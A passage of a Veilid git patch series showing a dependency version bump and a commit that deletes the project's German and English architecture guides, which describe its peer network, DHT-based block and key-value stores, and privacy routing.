b/veilid-wasm/Cargo.toml index 87801681..b857d56a 100644 --- a/veilid-wasm/Cargo.toml +++ b/veilid-wasm/Cargo.toml @@ -35,7 +35,7 @@ futures-util = { version = "^0" } data-encoding = { version = "^2" } gloo-utils = { version = "^0", features = ["serde"] } tsify = { version = "0.4.5", features = ["js"] } -serde-wasm-bindgen = "0.5.0" +serde-wasm-bindgen = "0.6.0" [dev-dependencies] wasm-bindgen-test = "^0" From 1f5867890d2dd1d04c55f6ffc15dd70559ccfb79 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sun, 17 Sep 2023 13:32:02 -0400 Subject: [PATCH 48/86] fix WS security issue --- docs/guide/guide-DE.md | 128 --------- docs/guide/guide.css | 28 -- docs/guide/guide.html | 255 ------------------ docs/guide/guide.md | 126 --------- .../src/network_manager/native/protocol/ws.rs | 80 +++++- 5 files changed, 69 insertions(+), 548 deletions(-) delete mode 100644 docs/guide/guide-DE.md delete mode 100644 docs/guide/guide.css delete mode 100644 docs/guide/guide.html delete mode 100644 docs/guide/guide.md diff --git a/docs/guide/guide-DE.md b/docs/guide/guide-DE.md deleted file mode 100644 index cc89e262..00000000 --- a/docs/guide/guide-DE.md +++ /dev/null @@ -1,128 +0,0 @@ -# Frühe A Dokumente - -# Bitte nicht öffentlich teilen - -# Veilid Architektur Leitfaden - -- [Aus der Umlaufbahn](#aus-der-umlaufbahn) -- [Aus der Vogelperspektive](#vogelperspektive) - - [Peer Netzwerk zum Datenspeichern](#peer_netzwerk_zur_datenspeicherung) - - [Block Speicher](#block-speicher) - - [Key-Value Speicher](#key-value-speicher) - - [Datenstrukturierung](#datenstrukturierung) - - [Peer- und Benutzeridentät](#peer-und-benutzeridentität) -- [Am Boden](#am_boden) - - [Peer Netzwerk im Detail](#peer-netzwerk-im-detail) - - [Benutzerprivatsphäre](#benutzerprivatsphäre) - - [Block Speicher im Detaail](#block-store-im-detail) - - [Key-Value Speicher im Detail](#key-value-speicher-im-detail) - -## Aus der Umlaufbahn - -Als Erstes wird die Frage behandelt "Was ist Veiled?". Die allgemeinste Beschreibung ist, dass Veilid ein Peer-to-Peer-Netzwerk zum Teilen von verschiedenen Arten von Daten ist. - -Veilid wurde mit der Idee im Hinterkopf entworfen, dass jeder Benutzer seine eigenen Inhalte im Netzwerk speichern kann. Aber es ist auch möglich diese mit anderen ausgewählten Leuten zu teilen oder (wenn gewollt) auch mit gesamten Rest der Welt. - -Der primäre Zweck des Veild Netzwerks ist es Infrastruktur für eine besondere Art von geteilten Daten zur Verfügung zu stellen: Social Medien in verschiedensten Arten. Dies umfasst leichtgewichtige Inhalte wie Twitters/Xs Tweets oder Mastodons Toots, mittleschwere Inhalte wie Bilder oder Lieder und schwergewichtige Inhalte wie Videos. Es ist eben so beabsichtigt Meta-Inhalte (wie persönliche Feeds, Antworten, private Nachrichten und so weiter) auf Basis von Veilid laufen zu lassen. - -* * * - -## Vogelperspektive - -Nachdem wir nun wissen was Veilid ist und was in Veilid abgelegt werden sollte, ist es nun an der Zeit die Teile zu behandeln, die erklären wie Veilid dies ermöglicht. Natürlich nicht super detailiert (das kommt später), sondern her auf eine mittleren Detailgrad so dass alles auf einmal zur gleichen Zeit vom Leser verstanden werden kann. - -### Peer Netzwerk zur Datenspeicherung - -Auf unterster Ebene ist Veilid ein Netzwerk aus "Peers", die miteinander über das Internet kommunizieren. Peers senden sich gegenseitig Nachrichten (sogenannte Remote Procedure Calls) bezüglich der im Netzwerk ge- bzw. zu speichernden Daten und auch Nachrichten über das Netzwerk selbst. Zum Beispiel, kann eine Peer einen Anderen nach einer Datei fragen oder nach Informationen fragen, welche anderen Peers in Netzwerk bekannt sind/existieren. - -Die Daten, die im Netzwerk gespeichert sind, werden in zwei Arten von Daten unterteilt: Datei-artige Daten, die üblicherweise groß sind und textartige Daten, die üblicherweise klein sind. Jede Art wird in einem eigenen Untersystem gespeichert, dass das so gestaltet wurde, dass es für diese Art von Daten optimal ist. - -### Block Speicher - -Datei-artige Inhalte werden in einem inhaltsaddressierbaren Block Speicher abgelegt. Jeder Block ist einfach ein Haufen (Blob) aus irgendwelchen Daten (z.B. ein JPEG oder ein MP4) beliebiger Größe. Die Prüfsumme (Hash) eines Block dient als eindeutige ID für diesen Block und kann von anderen Peers benutzt werden, um diesen Block abzufragen. Technisch gesehen können auch textuelle Daten als Block gespeichert werden und das sollte genau dann passieren, wenn die textuelle Daten als eine Art Dokument oder Datei eines bestimmten Typs verstanden werden. - -### Key-Value Speicher - -Kleinere und kurzlebigere textuelle Inhalte werden in einem Key-Value Speicher gespeichert (KV Speicher).Sachen wie z.B. Status Updates, Blogeinträge oder Benutzerbeschreibungen usw. sind alle dafür gedachte in diesem Teil des Datenspeichers gespeichert zu werden. KV Speicher Daten sind nicht einfach "im Veild Netzwerk", sondern gehören Benutzern und (werden auch von diesen gesteuert/kontrolliert). Sie werden über einen beliebigen vom Eigentümer der Daten gewählten Namen identifiziert. Jede Gruppe von Benutzern kann Daten hinzufügen, aber man kann nur die Daten ändern, die man selbst hinzugefügt hat. - -Nehmen wir 2 beispielhafte Benutzer Boone und Marquette: Boones Benutzerbeschreibung und ihren Blogpost mit dem Titel "Hi, ich bin Bonne!" sind 2 Sachen, die dem selben Benutzer gehören, aber unterschiedliche ID haben. Boones Benutzerbeschreibung und Marquettes Benutzerbeschreibung sind 2 Sachen, die zwei unterschiedlichen Benutzer gehören, aber dieselbe ID haben. - -KV Speicher Daten sind zustandsbehaftet, so dass Änderungen an ihnen vorgenommen werden könen. Boones Benutzerbeschreibung z.B. wird sicher nicht unverändert bleiben, sondern sich eher im Laufe der Zeit ändern, wenn er z.B. den Job wechselt oder sich neue Hobbies aneignet usw.. Die Zustandsbehaftung zusammen mit den beliebigen nutzer-definierten Identifiern (anstatt Prüfsummen auf Inhalte (Content Hashes)) führt dazu,dass man Boones Benutzerbeschreibung als abstrakte Sache betrachten kann und sich für Update auf diese registrieren kann. - -### Datenstrukturierung - -Mit der Verbindung aus Block Speicher und Key_Value Speicher ist es mögliche auch komplexe Konzepte zu kombinieren. Ein Song könnte z.B. an zwei Orten in Veilid verteilt abgelegt sein. Der Block Speicher würde dabei die Rohdaten speichern und der Key-Value Speicher würde eine Beschreibung zur Idee des Song abspeichern. Diese wäre vielleicht in Form eines JSON Objekts mit Metadaten über den Song wie dem Titel, den Komponisten, das Datum, die Codierungsinformationen usw. ebenso wie die ID der Daten im Block Speicher. Wir können dann auch verschiedene Versionen der JSON Daten abspeichern, wenn das Stück aktualisiert, verbessert, überarbeitet oder was auch immer wird. Jede Version würde auf einen anderen Block im Block Speicher verweisen. Es ist immer noch "derselbe Song" aus konzeptueller Sicht und somit hat er auch dieselbe ID im KV Speicher, aber die Rohbits, die damit verbunden sind, sind für jede Version unterschiedlich. - -Ein anderes Beispiel (wenn auch mit einer noch etwas schwächeren Verbindung zum Block Speicher) wäre die Beschreibung eines Profilbildes. "Marquettes Profilbild" ist eine sehr abstrakte Beschreibung und genau genommen sind können sich die Bits, die damit zusammenhängen, im Laufe der Zeit stark variieren. So könnte es nicht nur verschiedene Versionen des Bildes, sondern auch komplett andere Bilder geben. Vielleicht ist es an einem Tage eine Foto von Marquette und am nächsten Tag ist es das Foto einer Blume. - -In Soziale Medien finden sich viele Beispiel für solche Konzepte: Freundeslisten, Blocklisten, Indizes von Postings und Favoriten-Listen. Die sind alle zustandsbehaftete Beschreibungen einer bestimmten Art: Eine stabile Referenz auf eine Sache, aber der genaue Inhalt der Sache verändert sich im Laufe der Zeit. Das ist genau das, was wir im KV Speicher ablegen wollen und sich somit vom Block Store abgrenzt, auch wenn diese Daten auf die Inhalte des Block Store referenzieren. - -### Peer- und Benutzeridentität - -Es gibt zwei Darstellungen von Identitäten im Netzwerk: Die Peer- und die Benutzeridentität. Die Peeridentität ist einfach genug: Jeder Peer hat ein kryptografisches Schlüsselpaar, das er benutzt, um mit anderen Peers sicher zu kommunizieren und zwar für beides: Traditionelle verschlüsselte Kommuniktion und auch durch verschiedene verschlüsselte Routen. Die Peeridentität ist nur die ID einer bestimmten Instanz der Veilid Software, die auf einem Computer läuft. - -Die Benutzeridentität wird deutlich umfassender genutzt. Benutzer (also Leute) wollen auf das Veilid Netzwerk zugreifen, so dass sie eine konsistente Identität über Geräte und Apps/Programme hinweg haben. Da aber Veilid keine Server in traditionellen Sinne hat, können wir nicht auf das normale Konzept von Benutzer-"Konten" zurückgreifen. Würde man das tun, würden Zentralisierungsspunkte im Netzwerk eingeführt werden, die in klassischen System oft die Quelle von Problemen gewesen sind. Viele Mastodon Benutzer habe sich schon in schwierigen Situationen befunden, wenn Ihre Instanzen Schwierigkeiten mit Ihren Sysadmin hatten und diese dann plötzlich die Instanzen abschalteten ohne vorher genug zu warnen. - -Um diese Re-Zentralisierung von Identitäten zu vermeiden, nutzen wir kryptografische Identitäten auch für alle Benutzer. Das Schlüsselpaar den Benutzers wird zum Signieren und Verschlüsseln ihrer Inhalte benutzt, wie es notwendig ist, wenn man Inhalte auf den Datenspeicher veröffentlichen will. Ein Benutzer wird als "in seine Client App/Anwendung eingeloggt" bezeichnet, wenn die App/Anwendung eine Kopie seines privaten Schlüssels hat. Wenn man in eine Client App eingeloggt, dann verhält sie sich wie jede andere der Client Apps des Benutzers und ermöglicht es ihm Inhalte zu ent- und verschlüsseln,Nachrichten zu signieren und so weiter. Schlüssel können in neue Apps eingefügt werden, um sich in diese einzuloggen. Dies erlaubt dem Benutzer so viele Client Apps (auf jeder beliebigen Anzahl an Geräten zu haben) wie sie haben wollen. - -* * * - -## Am Boden - -Die Vogelperspektive macht es möglich alles auf einmal im Kopf zu behalten, dafür lässt sie aber viele Implementierungsdetails weg. Deswegen ist es jetzt an der Zeit auf den "Boden" zurückzukehren und sich die Hände schmutzig zu machen. Grundsätzlich sollten es genug Informationen sein, um eine System ähnliche wie Veilid zu implementieren (mit der Ausnahmen von spezifischen Details der APIs und Datenformate). Dieser Anschnitt enthält keinen Code. Er ist keine Dokumentation des Codes selber, sondern der Kern eine Whitepapers. - -### Peer Netwerk im Detail - -Lasst uns als Erstes das Peer Netzwerk ansehen, weil seine Struktur die Basis für den Rest des Datenspeicherungsansatz bildet. Veilids Peer Netzwerk ist in der Art ähnlich zu anderen Peer to Peer Systemen, dass es sich von oben auf auf andere Protokolle legt und diese überlagert. Veilid versucht auf seine Art protokoll-agnostisch zu sein und ist aktuell entworfen um TCP, UDP, WebSocket und WebRTC sowie verschiedene Methoden zu Überwindung von NATs zu nutzen, so dass Veilid Peers auch Smartphones oder Computer bei unvertrauenswürdigen Internetanbietern und Ähnlichem seien können. Um das sicher zu stellen werden Peers nicht über eine Netzwerk Identität wie IP Adressen identifiziert, sondern über eine kryptografische Schlüsselpaar, das durch den Peer festgelegt wird. Jeder Peer veröffentlicht/bewirbt eine Menge von Optionen wie man mit Ihm kommunizieren kann. Diese nennt sich Dial Info und wenn ein Peer mit einem Anderen sprechen will, dann besorgt er sich die Dial Info von dem Peer aus dem Netzwerk und nutzt diese um zu kommunizieren. - -Wenn sich ein Peer erstmalig mit Veilid verbindet, dann macht er dass in dem er die "Bootstrap Nodes" kontaktiert, die einfache IP Adressen Dial Infos haben, für die durch die Netzwerk Maintainer garantiert wird, dass diese (zeit-) stabil sind. Diese Bootstrap-Peers sind die ersten Einträge in der Routing Tabelle des Peers. Die Routing Tabelle ist ein sortiertes Adressbuch mit dem man feststellen kann, wie man mit einem Peer sprechen kann. - -Die Routing Tabelle besteht aus einer Zuordnung öffentlicher Schlüssel der Peers zu einer nach Priorität sortierten Auswahl von Dial Infos. Um die Routing Tabelle zu befüllen, fragt der Peer andere Peers was seine Nachbarn im Netzwerk sind. Die Bezeichnung "Nachbar" ist hier über ein Ähnlichkeitsmaß bezüglich der Peer IDs definiert (genauer gesagt dem XOR Maß das viele Verteilte Hash Tables (DHTs) nutzen). Im Verlauf der Interaktionen mit dem dem Netzwerk wird der Peer die Dail Infos aktualisieren, wenn er Veränderungen feststellt. Ebenso kann er auch Dail Info für Peers abhängig von Ihrer Peer ID hinzufügen, die er im Verlauf entdeckt. - -Um mit einen bestimmten Peer zu sprechen wird seine Dail Info in der Routing Tabelle nachgeschlagen. Wenn es eine Dail Info gibt, dann werden die Optionen in der durch die Routing Tabelle festgelegten Priorisierungsreihenfolge durchprobiert. Falls es die Dail Info nicht gibt, dann muss der Peer die Dail Info aus den Netzwerk anfragen. Dabei schaut er in seine Routing Tabelle, um den Peer zu finden der entsprechend der XOR Maß der nächstgelegene zum Zielpeer ist und schickt ihm einen RPC Aufruf mit dem Namen "find-node". Für jede gegebene Peer ID antwortet der Empfänger des "find-node" auf Rufs mit den Dial Infos der Peers in seiner Routing Tabelle, die der ID am nächsten sind. Die bringt den Peer näher an sein Ziel und zumindest in die Richtung des Peers nach dem er fragt. Wenn die Info des gewünschten Peers in der Antwort des Aufrufs enthalten war, dann ist der Vorgang beendet, sonst sendet er weiter "find-node" Aufrufe um dem gewünschten Zielpeer näher zu kommen. So bahnt er sich seinen Weg und versucht verschiedene alternative Peers (falls notwendig), in dem er den Nächsten als Erstes fragt, bis er entweder die gewünschte Dail Info findet oder das gesamte Netzwerk durchsucht hat oder den Vorgang abbricht. - -### Benutzerprivatsphäre -Um sicherzustellen, dass Benutzer mit ein gewissen Maß an Privatsphäre in Veilid teilnehmen können, muss man sich um die Herausforderung kümmern, dass wenn man sich mit Veilid verbindet folglich auch mit anderen Nodes kommuniziert und somit IP Adressen teilt. Der Peer eines Benutzers wird deshalb regelmäßig RPC-Aufrufe erstellen, die die Identifikationsinformationen des Benutzer mit den IDs seiner Peers in Zusammenhang bringt. Veilid ermöglicht Privatsphäre durch die Nutzung einer RPC-Weiterleitungsmechanismus, der Kryptographie vergleichbar mit so genanntem "Onion Routing" nutzt. Hierbei wird der Kommunikationspfad zwischen dem tatsächlich ursprünglichen sendenden Peer und des schlussendlich final empfangenden Peer versteckt, in dem man über mehrere dazwischen liegenden Peers springt. - -Der spezifisches Ansatz den Veilid bezüglich Privatsphäre hat ist zweiseitig: Privatsphäre des Senders und Privatsphäre des Empfängers. Jeweils einer oder beide könnten sich Privatsphäre wünschen oder für sich ausschließen. Um die Privatsphäre des Sender sicherzustellen nutzt Veilid etwas das sich „Safety Route" nennt: Eine Sequenz Peers beliebiger Größer, die durch den Sender ausgewählt wird, der die Nachricht sendet. Die Sequenz von Adressen werden (wie bei einer Matryoshka Puppe) verschlüsselt ineinander geschachtelt, so dass jeder Hop den Vorherigen und den Nächsten sehen kann, aber kein Hop die gesamte Route sehen kann. Dies ist ähnliche zu einer TOR (The Onion Router) Route, mit dem Unterschied, dass nur die Adressen für jeden Hop verschlüsselt sind. Die Route kann für jede Nachricht, die geschickt wird, zufällig gewählt werden. - -Die Privatsphäre des Empfängers ist sofern ähnlich als das es dort auch eine Schachtelung von verschlüsselten Adressen gibt, aber mit dem Unterschied, dass die verschiedenen Adressen vorab geteilt worden sein müssen, weil es um eingehende Nachrichten geht. Diese werden „Private Routen“ genannt und sie werden als Teil der öffentlichen Daten eine Benutzers im KV Speicher veröffentlicht. Um volle Privatsphäre an beiden Enden sicherzustellen, wird eine Private Route als endgültiges Ziel einer Safety Route genutzt und die gesamt Route ist die Zusammensetzung aus beiden, so dass weder der Sender noch der Empfänger die IP adressiere des Anderen wissen. - -Jeder Peer im Hop (einschließlich des initialen Peers) sendet einen "route" RPC Aufruf an den nächsten Peer im Hop, mit dem Rest der Gesamtroute (safety + private), die mit den Daten in der Kette weitergereicht wird. Der letzte Peer entschlüsselt den Rest der Route, die dann leer ist und kann sich dann den weitergeleiteten RPC ansehen und dann entsprechend diesem handeln. Der RPC selber muss nicht verschlüsselt sein, aber es ist gute Praxis diesen für den finalen Peer zu verschlüsseln, so dass die Peers dazwischen den User nicht durch Analyse des Datenverkehrs de-anonymisieren können. - -Nimm bitte zur Kenntnis, dass die Routen benutzerorientiert sind. Sie sollten so verstanden werden, dass sie einen Möglichkeit darstellen mit einem bestimmten Benutzer-Peer zu sprechen, wo auch immer dieser ist. Jeder Peer in dieser Abfolge muss die tatsächlichen IP Adressen der Peers wissen, sonst können sie nicht kommunizieren. Aber die Savety und die Private Routes machen es schwer die Identität des Benutzer mit der Identität seiner Peers zusammenzubringen. Du weißt nur, dass der Nutzer irgendwo im Netzwerk ist, aber Du weißt nicht welche seine Adresse ist, auch wenn Du die Dail Infos seiner Peers in der Routing Tabelle gespeichert hast. - -### Block Speicher im Detail - -Wie bereits in der Vogelperspektive erwähnt ist es das Ziel des Blockspeichers inhaltsadressierbare Blocks von Daten zu speichern. Wie viele andere Peer to Peer Systeme zum Speichern von Daten nutzt auch Veilid verteilte Hash Tabellen (DHTs) als Kern des Block Speichers. Die Blockspeicher DHT hat als Schlüssel BLAKE3 Prüfsummen der Block Inhalte. Für jeden Schlüssel hält die DHT eine Liste von Peer IDs vor, die im Netzwerk deklariert wurden, dass sie den Block bereitstellen können. - -Wenn ein Peer den Block bereitstellen möchte, dann macht einer einen "supply_block" RPC Aufruf mit der ID des Blocks in das Netzwerk. Der Empfänger des Calls kann dann die Informationen speichern, die der Peer bezüglich des vorgesehenen Block bereitstellt (wenn er will). Er kann auch andere Peers zurückgeben, die näher an der Block ID dran sind, die auch die Information speichern sollte. Die Peers stellen abhängig davon wie nah sie an der Block ID sind fest, ob sie die Information speichern oder nicht. Es kann auch entscheiden werden den Block zwischenzuspeichern, um sich selbst als Anbieter zu deklarieren. - -So bereitgestellte Datensätze sind möglicherweise vergänglich, weil Peers das Netzwerk verlassen und somit ihre Informationen nicht mehr verfügbar sind. Deswegen wird jeder Peer, der einen Block bereitstellen will regelmäßig "supply_block" Nachrichten senden, um den Datensatz aktuell zu halten. Peers, die den Block zwischenspeichern, entscheiden an Hand der Popularität, des Speicherplatzes, der Bandbreite usw., die er übrig hat, wann das Zwischenspeichern endet. - -Um einen Block zu empfangen, der im Block Speicher gespeichert wurde, sendet ein Peer den "find_block" RPC Aufruf. Der Empfänger wird dann entweder den Block zurücksenden oder möglicherweise auch eine Liste von Anbietern für den Block zurücksenden, die er kennt oder er liefert eine Liste von Peers zurück, die näher an dem Block liegen als er selbst. - -Anders als bei BitTorrent sind Blocks nicht zwangsläufig Teil einer größeren Datei. Ein Block kann einfach eine einzelne Datei sein und dies wird oft der Fall für kleine Dateien sein. Größere Dateien können in kleinere Blocks aufgeteilt werden. In diesem Fall wird eine zusätzlicher Block mit einer Liste aus Block-Komponenten im Block Speicher gespeichert. Veilid selbst wird diese Block wie alle anderen Blocks behandeln und es gibt keinen eingebauten Mechanismus der festlegt, welchen Block man als erstes heruntergeladen oder teilen muss usw. (wie es sie bei BitTorrent gibt). Solche Features wäre dann abhängig von der Peer Software zu implementieren und können variieren. Verschiedene Clients werden auch die Möglichkeit haben zu entscheiden wie sie solche Block-Komponenten herunterladen wollen (z.B. automatisch, auf Eingabe des User oder etwas Anderes). - -Der Mechanismus (Blocks zu haben die auf andere Blocks verweisen) ermöglicht es auch die Nutzung von IPFS-artige DAGs mit hierarchischen Daten als einen möglichen Modus. Somit können ganze Verzeichnisstrukturen gespeichert werden (und nicht nur Dateien). Allerdings ist das (genau so wie die Subfile Blocks) kein eingebauter Teil von Veilid, sondern eher ein möglicher Verwendungsmodus. Wie sie dem Benutzer heruntergeladen und dargestellt werden, obliegt dem Client Programm. - -### Key-Value Speicher im Detail - -Der Key-Value Speicher ist eine DHT (ähnlich wie der Block Store). Allerdings statt inhaltsbezogener Hashes als Schlüssel, nutzt der KV Speicher Benutzer-IDs als Schlüssel (Achtung: _NICHT_ Peer IDs). Für einen gegebenen Key hat der KV Speicher eine hierarchische Key-Value Map, die im Prinzip beliebige Strings mit Werten verknüpft, die selber wiederum Nummern, Zeichenketten, ein Datum, Uhrzeiten oder andere Key-Value Maps sein können. Der spezifische Wert, der an einer ID des Users gespeichert wird, ist versioniert, so dass man bestimmte Schemata von Unterschlüsseln und Werten definieren kann, die dann entsprechend der unterschiedlichen Versionen vom Client anders behandelt werden. - -Wenn ein Nutzer wünscht Daten im Bezug auf ihren Schlüssel zu speichern, dann senden sie einen "set_value" RPC Aufruf an die Peers deren IDs am nächsten gemäß XOR Metric zu Ihrer eigenen ID liegen. Der Wert der dem RPC Aufruf mitgegeben wird ist ein Einzelwert, so dass das Netzwerk sicherstellen kann, dass nur der vorgesehene Nutzer Daten in seinem Key speichert. Die Peers, die den RPC Aufruf empfangen, können andere Peer IDs näher am Key zurückliefern (und so weiter), ähnlich wie auch beim den "supply_block" calls des Block Speichers. Am Ende werden einige Peers die Daten speichern. Der Peer des Users sollte regelmäßig die gespeicherten Daten aktualisieren, um sicher zu gehen, dass sie dauerhaft gespeichert bleiben. Es ist auch gute Praxis für den eigenen Peer des Benutzers, dass er seine eigene Daten in einem Cache (Zwischenspeicher) vorhält, so dass Client Programme den Peer des eigenen Benutzer als autorisierte Quelle der aktuellsten Daten verwenden kann. Hierfür ist es aber notwendig eine Route zu veröffentlichen, die es erlaubt das andere Peers dem eigenen Peer des Benutzers Nachrichten schicken. Eine private Route reicht hierfür aus. - -Der Abruf ist ähnlich wie der Abruf beim Block Store. Der gewünschte Key wird über eine "get_value" Call bereit gestellt, der einen Wert zurückliefern kann (oder eine Liste von Peers die näher am Key liegen). Am Ende werden die signieren Daten zurückgeliefert und der Empfänger kann verifizieren, dass diese tatsächlich dem spezifizierten Benutzer gehören in dem man die Signatur prüft. - -Beim Speichern und Abrufen von Daten ist es nicht notwendig, dass der im RPC Aufruf bereitgestellte Key ausschließlich die Benutzer ID sein muss. Er kann eine Liste von Zeichenketten beinhalten, die als Pfad zu gespeicherten Daten beim Benutzer Key diene, um damit spezifische Updates oder Abrufe durchzuführen. Dadurch wird der Datenverkehr im Netzwerk minimiert, weil nur die jeweils relevante Information umherbewegt wird. - -Der spezifische Inhalt des Benutzers Keys wird über das Protokoll bestimmt und im Besonderen von der Client Software. Frühe Versionen des Protokolls nutzen eine DHT-Schema-Version, die ein sehr einfaches Social-Network-orientiertes Schema definiert. Später Versionen werden mehr ein generischeres Schema ermöglichen, so dass Client Plug-ins reichhaltiger Informationen speichern und darstellen können. - -Die zustandsbehaftete Natur des Key Value Speichers bedeutet, dass sich Werte mit der Zeit ändern werden und es müssen Maßnahmen ergriffen werden, um auch auf diese Veränderungen zu reagieren. Ein Abfragemechanismus könnte verwendet werden, um regelmäßig abzufragen, ob neue Werte vorliegen, aber das wird zu einer Menge unnötigem Datenverkehrs im Netzwerk führen. Um das zu vermeiden erlaubt es Veilid, dass Peer einen "watch_value" RPC Aufruf senden, der einen DHT Key (mit Unterkeys) als Argument enthält. Der Empfänger würde dann einen Datensatz speichern, dass der Sender des RPC benachrichtigt werden möchte, wenn der Empfänger nachfolgend einen "set_value" RPC Aufruf erhält. In diesem Fall sendet der Empfänger dem sendenden Peer einen "value_changed" RPC Aufruf um ihm den neuen Wert zu übermitteln. Wie auch bei andere RPC Calls, muss auch "watch_value" regelmäßig neu gesendet werden, um das "Abonnement" für den Wert zu verlängern. Zusätzlich kann er Peers näher am Key zurückgegeben oder andere Peers die erfolgreich abonniert haben und so mit auch als Quelle dienen können. - -TODO: Wie vermeidet man das Replay Updates? Vielleicht über eine Sequenznummer einem signierten Patch? - - -## Anhang 1: Dial Info und Signaling - -## Anhang 2: RPC Listing diff --git a/docs/guide/guide.css b/docs/guide/guide.css deleted file mode 100644 index c583a4bf..00000000 --- a/docs/guide/guide.css +++ /dev/null @@ -1,28 +0,0 @@ -* { - font-family: sans-serif; -} - -body { - display: flex; - justify-content: center; -} - -#content { - width: 500px; - background-color: #eeeeee; - padding: 5px; -} - -.section-toc, .subsection-toc { - list-style: none; -} - -.section-name { - font-weight: 600; - margin-bottom: 5px; -} - -code { - font-family: monospace; - font-weight: bold; -} diff --git a/docs/guide/guide.html b/docs/guide/guide.html deleted file mode 100644 index b2f641b2..00000000 --- a/docs/guide/guide.html +++ /dev/null @@ -1,255 +0,0 @@ - - - - - - - Veilid Architecture Guide - - - - - -
- -
- early α docs
- please don't share publicly -
- -

Veilid Architecture Guide

- -
- - - -
- -

From Orbit

- -

- The first matter to address is the question "What is Veilid?" The highest-level description is that Veilid is a peer-to-peer network for easily sharing various kinds of data. -

- -

- Veilid is designed with a social dimension in mind, so that each user can have their personal content stored on the network, but also can share that content with other people of their choosing, or with the entire world if they want. -

- -

- The primary purpose of the Veilid network is to provide the infrastructure for a specific kind of shared data: social media in various forms. That includes light-weight content such as Twitter's tweets or Mastodon's toots, medium-weight content like images and songs, and heavy-weight content like videos. Meta-content such as personal feeds, replies, private messages, and so forth are also intended to run atop Veilid. -

- -
- -

Bird's Eye View

- -

- Now that we know what Veilid is and what we intend to put on it, the second order of business is to address the parts of the question of how Veilid achieves that. Not at a very detailed level, of course, that will come later, but rather at a middle level of detail such that all of it can fit in your head at the same time. -

- -

Peer Network for Data Storage

- -

- The bottom-most level of Veilid is a network of peers communicating to one another over the internet. Peers send each other messages (remote procedure calls) about the data being stored on the network, and also messages about the network itself. For instance, one peer might ask another for some file, or it might ask for info about what other peers exist in the network. -

- -

- The data stored in the network is segmented into two kinds of data: file-like data, which typically is large, and textual data, which typically is small. Each kind of data is stored in its own subsystem specifically chosen to optimize for that kind of data. -

- -

Block Store

- -

- File-like content is stored in a content-addressable block store. Each block is just some arbitrary blob of data (for instance, a JPEG or an MP4) of whatever size. The hash of that block acts as the unique identifier for the block, and can be used by peers to request particular blocks. Technically, textual data can be stored as a block as well, and this is expected to be done when the textual data is thought of as a document or file of some sort. -

- -

Key-Value Store

- -

- Smaller, more ephemeral textual content generally, however, is stored in a key-value-store (KV store). Things like status updates, blog posts, user bios, etc. are all thought of as being suited for storage in this part of the data store. KV store data is not simply "on the Veilid network", but also owned/controlled by users, and identified by an arbitrary name chosen by the owner the data. Any group of users can add data, but can only change the data they've added. -

- -

- For instance, we might talk about Boone's bio vs. Boone's blogpost titled "Hi, I'm Boone!", which are two things owned by the same user but with different identifiers, or on Boone's bio vs. Marquette's bio, which are two things owned by distinct users but with the same identifier. -

- -

- KV store data is also stateful, so that updates to it can be made. Boone's bio, for instance, would not be fixed in time, but rather is likely to vary over time as he changes jobs, picks up new hobbies, etc. Statefulness, together with arbitrary user-chosen identifiers instead of content hashes, means that we can talk about "Boone's Bio" as an abstract thing, and subscribe to updates to it. -

- -

Structuring Data

- -

- The combination of block storage and key-value storage together makes it possible to have higher-level concepts as well. A song, for instance, might be represented in two places in Veilid: the block store would hold the raw data, while the KV store would store a representation of the idea of the song. Maybe that would consist of a JSON object with metadata about the song, like the title, composer, date, encoding information, etc. as well as the ID of the block store data. We can then also store different versions of that JSON data, as the piece is updated, upsampled, remastered, or whatever, each one pointing to a different block in the block store. It's still "the same song", at a conceptual level, so it has the same identifier in the KV store, but the raw bits associated with each version differ. -

- -

- Another example of this, but with even more tenuous connection between the block store data, is the notion of a profile picture. "Marquette's Profile Picture" is a really abstracted notion, and precisely which bits it corresponds to can vary wildly over time, not just being different versions of the picture but completely different pictures entirely. Maybe one day it's a photo of Marquette and the next day it's a photo of a flower. -

- -

- Social media offers many examples of these concepts. Friends lists, block lists, post indexes, favorites. These are all stateful notions, in a sense: a stable reference to a thing, but the precise content of the thing changes over time. These are exactly what we would put in the KV store, as opposed to in the block store, even if this data makes reference to content in the block store. -

- -

Peer and User Identity

- -

- Two notions of identity are at play in the above network: peer identity and user identity. Peer identity is simple enough: each peer has a cryptographic key pair that it uses to communicate securely with other peers, both through traditional encrypted communication, and also through the various encrypted routes. Peer identity is just the identity of the particular instance of the Veilid software running on a computer. -

- -

- User identity is a slightly richer notion. Users, that is to say, people, will want to access the Veilid network in a way that has a consistent identity across devices and apps. But since Veilid doesn't have servers in any traditional sense, we can't have a normal notion of "account". Doing so would also introduce points of centralization, which federated systems have shown to be a source of trouble. Many Mastodon users have found themselves in a tricky situation when their instance sysadmins burned out and suddenly shut down the instance without enough warning. -

- -

- To avoid this re-centralization of identity, we use cryptographic identity for users as well. The user's key pair is used to sign and encrypt their content as needed for publication to the data store. A user is said to be "logged in" to a client app whenever that app has a copy of their private key. When logged in a client app act like any other of the user's client apps, able to decrypt and encrypt content, sign messages, and so forth. Keys can be added to new apps to sign in on them, allowing the user to have any number of clients they want, on any number of devices they want. -

- -
- -

On The Ground

- -

- The bird's eye view of things makes it possible to hold it all in mind at once, but leaves out lots of information about implementation choice. It's now time to come down to earth and get our hands dirty. In principl, this should be enough information to implement a system very much like Veilid, with the exception perhaps of the specific details of the APIs and data formats. This section won't have code, it's not documentation of the codebase, but rather is intended to form the meat of a whitepaper. -

- -

Peer Network, Revisited

- -

- First, let's look at the peer network, since its structure forms the basis for the remainder of the data storage approach. Veilid's peer network is similar to other peer-to-peer systems in that it's overlaid on top of other protocols. Veilid tries to be somewhat protocol-agnostic, however, and currently is designed to use TCP, UDP, WebSockets, and WebRTC, as well as various methods of traversing NATs so that Veilid peers can be smartphones, personal computers on hostile ISPs, etc. To facilitate this, peers are identified not by some network identity like an IP address, but instead by peer-chosen cryptographic key-pairs. Each peer also advertises a variety of options for how to communicate with it, called dial info, and when one peer wants to talk to another, it gets the dial info for that peer from the network and then uses it to communicate. -

- -

- When a peer first connects to Veilid, it does so by contacting bootstrap peers, which have simple IP address dial info that is guaranteed to be stable by the maintainers of the network. These bootstrap peers are the first entries in the peer's routing table -- an address book of sorts, which it uses to figure out how to talk to a peer. The routing table consists of a mapping from peer public keys to prioritized choices for dial info. To populate the routing table, the peer asks other peers what its neighbors are in the network. The notion of neighbor here is defined by a similarity metric on peer IDs, in particular an XOR metric like many DHTs use. Over the course of interacting with the network, the peer will keep dial info up to date when it detects changes. It may also add dial info for peers it discovers along the way, depending on the peer ID. -

- -

